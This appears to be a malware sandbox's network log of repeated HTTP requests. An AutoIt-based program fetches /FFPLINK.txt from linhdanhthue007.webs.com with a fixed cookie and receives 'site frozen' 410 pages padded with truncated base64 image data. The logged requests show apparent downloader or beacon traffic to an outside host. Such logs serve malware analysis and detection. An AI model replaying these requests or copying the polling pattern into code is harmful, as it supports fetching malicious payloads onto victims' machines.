D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:50 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:15 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:18 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:34 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:47 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:05 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:28 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:26 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:45 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:12 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
